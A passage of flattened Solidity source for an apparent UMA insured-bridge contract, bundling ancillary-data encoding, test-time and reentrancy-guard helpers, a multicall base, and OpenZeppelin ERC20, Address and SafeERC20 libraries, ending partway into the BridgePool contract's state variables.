* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// File contracts/oracle/implementation/Constants.sol
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
bytes32 public constant Bridge = "Bridge";
bytes32 public constant GenericHandler = "GenericHandler";
bytes32 public constant SkinnyOptimisticOracle = "SkinnyOptimisticOracle";
bytes32 public constant ChildMessenger = "ChildMessenger";
bytes32 public constant OracleHub = "OracleHub";
bytes32 public constant OracleSpoke = "OracleSpoke";
}
/**
* @title Commonly re-used values for contracts associated with the OptimisticOracle.
*/
library OptimisticOracleConstraints {
// Any price request submitted to the OptimisticOracle must contain ancillary data no larger than this value.
// This value must be <= the Voting contract's `ancillaryBytesLimit` constant value otherwise it is possible
// that a price can be requested to the OptimisticOracle successfully, but cannot be resolved by the DVM which
// refuses to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
}
// File contracts/common/implementation/AncillaryData.sol
/**
* @title Library for encoding and decoding ancillary data for DVM price requests.
* @notice We assume that on-chain ancillary data can be formatted directly from bytes to utf8 encoding via
* web3.utils.hexToUtf8, and that clients will parse the utf8-encoded ancillary data as a comma-delimitted key-value
* dictionary. Therefore, this library provides internal methods that aid appending to ancillary data from Solidity
* smart contracts. More details on UMA's ancillary data guidelines below:
* https://docs.google.com/document/d/1zhKKjgY1BupBGPPrY_WOJvui0B6DMcd-xDR8-9-SPDw/edit
*/
library AncillaryData {
// This converts the bottom half of a bytes32 input to hex in a highly gas-optimized way.
// Source: the brilliant implementation at https://gitter.im/ethereum/solidity?at=5840d23416207f7b0ed08c9b.
function toUtf8Bytes32Bottom(bytes32 bytesIn) private pure returns (bytes32) {
unchecked {
uint256 x = uint256(bytesIn);
// Nibble interleave
x = x & 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff;
x = (x | (x * 2**64)) & 0x0000000000000000ffffffffffffffff0000000000000000ffffffffffffffff;
x = (x | (x * 2**32)) & 0x00000000ffffffff00000000ffffffff00000000ffffffff00000000ffffffff;
x = (x | (x * 2**16)) & 0x0000ffff0000ffff0000ffff0000ffff0000ffff0000ffff0000ffff0000ffff;
x = (x | (x * 2**8)) & 0x00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff;
x = (x | (x * 2**4)) & 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f;
// Hex encode
uint256 h = (x & 0x0808080808080808080808080808080808080808080808080808080808080808) / 8;
uint256 i = (x & 0x0404040404040404040404040404040404040404040404040404040404040404) / 4;
uint256 j = (x & 0x0202020202020202020202020202020202020202020202020202020202020202) / 2;
x = x + (h & (i | j)) * 0x27 + 0x3030303030303030303030303030303030303030303030303030303030303030;
// Return the result.
return bytes32(x);
}
}
/**
* @notice Returns utf8-encoded bytes32 string that can be read via web3.utils.hexToUtf8.
* @dev Will return bytes32 in all lower case hex characters and without the leading 0x.
* This has minor changes from the toUtf8BytesAddress to control for the size of the input.
* @param bytesIn bytes32 to encode.
* @return utf8 encoded bytes32.
*/
function toUtf8Bytes(bytes32 bytesIn) internal pure returns (bytes memory) {
return abi.encodePacked(toUtf8Bytes32Bottom(bytesIn >> 128), toUtf8Bytes32Bottom(bytesIn));
}
/**
* @notice Returns utf8-encoded address that can be read via web3.utils.hexToUtf8.
* Source: https://ethereum.stackexchange.com/questions/8346/convert-address-to-string/8447#8447
* @dev Will return address in all lower case characters and without the leading 0x.
* @param x address to encode.
* @return utf8 encoded address bytes.
*/
function toUtf8BytesAddress(address x) internal pure returns (bytes memory) {
return
abi.encodePacked(toUtf8Bytes32Bottom(bytes32(bytes20(x)) >> 128), bytes8(toUtf8Bytes32Bottom(bytes20(x))));
}
/**
* @notice Converts a uint into a base-10, UTF-8 representation stored in a `string` type.
* @dev This method is based off of this code: https://stackoverflow.com/a/65707309.
*/
function toUtf8BytesUint(uint256 x) internal pure returns (bytes memory) {
if (x == 0) {
return "0";
}
uint256 j = x;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (x != 0) {
k = k - 1;
uint8 temp = (48 + uint8(x - (x / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
x /= 10;
}
return bstr;
}
function appendKeyValueBytes32(
bytes memory currentAncillaryData,
bytes memory key,
bytes32 value
) internal pure returns (bytes memory) {
bytes memory prefix = constructPrefix(currentAncillaryData, key);
return abi.encodePacked(currentAncillaryData, prefix, toUtf8Bytes(value));
}
/**
* @notice Adds "key:value" to `currentAncillaryData` where `value` is an address that first needs to be converted
* to utf8 bytes. For example, if `utf8(currentAncillaryData)="k1:v1"`, then this function will return
* `utf8(k1:v1,key:value)`, and if `currentAncillaryData` is blank, then this will return `utf8(key:value)`.
* @param currentAncillaryData This bytes data should ideally be able to be utf8-decoded, but its OK if not.
* @param key Again, this bytes data should ideally be able to be utf8-decoded, but its OK if not.
* @param value An address to set as the value in the key:value pair to append to `currentAncillaryData`.
* @return Newly appended ancillary data.
*/
function appendKeyValueAddress(
bytes memory currentAncillaryData,
bytes memory key,
address value
) internal pure returns (bytes memory) {
bytes memory prefix = constructPrefix(currentAncillaryData, key);
return abi.encodePacked(currentAncillaryData, prefix, toUtf8BytesAddress(value));
}
/**
* @notice Adds "key:value" to `currentAncillaryData` where `value` is a uint that first needs to be converted
* to utf8 bytes. For example, if `utf8(currentAncillaryData)="k1:v1"`, then this function will return
* `utf8(k1:v1,key:value)`, and if `currentAncillaryData` is blank, then this will return `utf8(key:value)`.
* @param currentAncillaryData This bytes data should ideally be able to be utf8-decoded, but its OK if not.
* @param key Again, this bytes data should ideally be able to be utf8-decoded, but its OK if not.
* @param value A uint to set as the value in the key:value pair to append to `currentAncillaryData`.
* @return Newly appended ancillary data.
*/
function appendKeyValueUint(
bytes memory currentAncillaryData,
bytes memory key,
uint256 value
) internal pure returns (bytes memory) {
bytes memory prefix = constructPrefix(currentAncillaryData, key);
return abi.encodePacked(currentAncillaryData, prefix, toUtf8BytesUint(value));
}
/**
* @notice Helper method that returns the left hand side of a "key:value" pair plus the colon ":" and a leading
* comma "," if the `currentAncillaryData` is not empty. The return value is intended to be prepended as a prefix to
* some utf8 value that is ultimately added to a comma-delimited, key-value dictionary.
*/
function constructPrefix(bytes memory currentAncillaryData, bytes memory key) internal pure returns (bytes memory) {
if (currentAncillaryData.length > 0) {
return abi.encodePacked(",", key, ":");
} else {
return abi.encodePacked(key, ":");
}
}
}
// File contracts/common/implementation/Timer.sol
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() {
currentTime = block.timestamp; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the currentTime variable set in the Timer.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// File contracts/common/implementation/Testable.sol
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run in production, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view virtual returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return block.timestamp; // solhint-disable-line not-rely-on-time
}
}
}
// File contracts/common/implementation/Lockable.sol
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() {
// Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every
// call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full
// refund coming into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant` function is not supported. It is possible to
* prevent this from happening by making the `nonReentrant` function external, and making it call a `private`
* function that does the actual state modification.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being
// re-entered. Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and
// then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File contracts/common/implementation/MultiCaller.sol
// This contract is taken from Uniswaps's multi call implementation (https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/base/Multicall.sol)
// and was modified to be solidity 0.8 compatible. Additionally, the method was restricted to only work with msg.value
// set to 0 to avoid any nasty attack vectors on function calls that use value sent with deposits.
/// @title MultiCaller
/// @notice Enables calling multiple methods in a single call to the contract
contract MultiCaller {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) {
require(msg.value == 0, "Only multicall with 0 value");
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/insured-bridge/BridgePool.sol
interface WETH9Like {
function withdraw(uint256 wad) external;
function deposit() external payable;
}
/**
* @notice Contract deployed on L1 that provides methods for "Relayers" to fulfill deposit orders that originated on L2.
* The Relayers can either post capital to fulfill the deposit (instant relay), or request that the funds are taken out
* of a passive liquidity provider pool following a challenge period (slow relay). This contract ingests liquidity from
* passive liquidity providers and returns them claims to withdraw their funds. Liquidity providers are incentivized
* to post collateral by earning a fee per fulfilled deposit order.
* @dev A "Deposit" is an order to send capital from L2 to L1, and a "Relay" is a fulfillment attempt of that order.
*/
contract BridgePool is MultiCaller, Testable, BridgePoolInterface, ERC20, Lockable {
using SafeERC20 for IERC20;
using FixedPoint for FixedPoint.Unsigned;
using Address for address;
// Token that this contract receives as LP deposits.
IERC20 public override l1Token;
// Track the total number of relays and uniquely identifies relays.
uint32 public numberOfRelays;
// Reserves that are unutilized and withdrawable.
uint256 public liquidReserves;
// Reserves currently utilized due to L2-L1 transactions in flight.
int256 public utilizedReserves;
// Reserves that are not yet utilized but are pre-allocated for a pending relay.
uint256 public pendingReserves;
// True If this pool stores WETH. If the withdrawn token is WETH then unwrap and send ETH when finalizing
// relays. Also enable LPs to receive ETH, if they choose, when withdrawing liquidity.
bool public isWethPool;
// Enables the Bridge Admin to enable/disable relays in this pool. Disables relayDeposit and relayAndSpeedUp.
bool public relaysEnabled = true;
// Exponential decay exchange rate to accumulate fees to LPs over time. This can be changed via the BridgeAdmin.
uint64 public lpFeeRatePerSecond;
// Last timestamp that LP fees were updated.
uint32 public lastLpFeeUpdate;
// Store local instances of contract params to save gas relaying.
uint64 public proposerBondPct;
uint32 public optimisticOracleLiveness;
// Store local instance of the reserve currency final fee. This is a gas optimization to not re-call the store.
uint256 l1TokenFinalFee;
// Cumulative undistributed LP fees. As fees accumulate, they are subtracted from this number.
uint256 public undistributedLpFees;
